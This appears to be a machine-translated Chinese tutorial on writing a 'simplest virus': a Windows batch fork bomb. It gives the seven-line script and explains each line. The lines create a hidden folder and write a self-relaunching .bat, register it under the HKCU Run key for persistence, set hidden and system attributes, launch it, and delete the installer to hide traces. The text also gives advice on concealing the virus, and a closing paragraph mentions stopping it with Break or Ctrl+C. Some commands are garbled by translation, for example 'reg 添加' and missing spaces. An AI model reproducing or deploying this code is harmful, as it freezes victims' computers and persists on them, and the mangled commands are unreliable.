“创造最简单的病毒”

“创建最简单的病毒”

在本文中,我们将考虑创建一种病毒,它在启动后会不断打开命令行窗口。这些快速打开的命令行窗口会让用户无法安心工作。没有人有时间关闭它们,而且它们很快就会耗尽计算机的内存,从而大大降低计算机的运行速度,直至完全死机。病毒看起来会像这样:

此外,我们将病毒放入启动项中,这样可以确保病毒随操作系统自动启动。

病毒代码:

程序员数量如此之多,针对每个任务可以想出如此多的解决方案。我将提供我自己的一种方法来解决此类问题。

md c:\papka
echo 启动 c:\papka\virus.bat\u003e c:\papka\virus.bat
reg 添加 HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /dc:\papka\virus.bat
attrib+r+h+sc:\papka
attrib+r+h+sc:\papka\virus.bat
启动 c:\papka\virus.bat
del%0

现在让我们看一下代码

  • 第一行在 C:/ 驱动器的根目录中创建一个名为 papka 的文件夹。此地址仅供示例使用。使用 C:/ 文件夹的根目录对病毒来说不是一个好选择。如果您想确保病毒能够很好地存活,最好将其隐藏起来。如果您将病毒本身放入已创建的目录中,甚至可以跳过第一个命令。

  • 第二行创建文件 c:\papka\virus.bat,并使用 echo 命令在其中输入命令 start c:\papka\virus.bat。这里需要注意的是,符号后面指示了给定命令的输出位置。这里需要了解的是:c:\papka\virus.bate 是病毒的主体。我们用现在正在分析的代码创建的 .bat 文件只是主病毒的安装程序。您可以为病毒使用不同的名称和位置。

  • 第三行将我们在第二行创建的病毒体放入启动项中。为此,我们使用了用户注册表分支,因为用户始终可以访问它。但是使用计算机的启动项并不安全,因为用户可能没有管理员权限,这会导致不必要的错误。

  • 第四行和第五行代码更改了病毒及其所在文件夹的属性。使用这些命令,我们为文件夹和病毒分别添加了只读、隐藏和系统属性。r 属性(只读)并非必需。但隐藏和系统属性可以很好地保护我们创建的病毒。如果您不相信,请阅读关于该病毒的文章。它使用了这项技术。

  • 第六行代码启动了我们的病毒。如果您希望病毒仅在重启计算机后首次启动,则可以跳过此步骤。

  • 最后,第七行删除这个.bat病毒。这很有用,因为使用这个.bat文件,你可以轻松找到我们创建的病毒并将其删除。

  • 病毒 诞生的意义

  • 这七行代码中的病毒的目的是创建主病毒,保护它并确保其持续运行。同时,还要清除它的踪迹。那么主病毒会做什么呢?主病毒启动后,会执行写入其中的命令。而这个命令又会启动我们的病毒,然后病毒又会再次启动自身。如此循环往复。

  • 如何对抗这样的病毒

  • 首先,对抗病毒的战斗从病毒启动后就开始了。病毒很快就会用它的副本填满内存,你甚至无法移动鼠标。因此,应该立即停止这种操作。键盘上的“Break”键非常适合这种情况。按下任意次数即可阻止病毒创建新的副本。在没有“Break”键的键盘上,Ctrl+C 组合键可以提供帮助。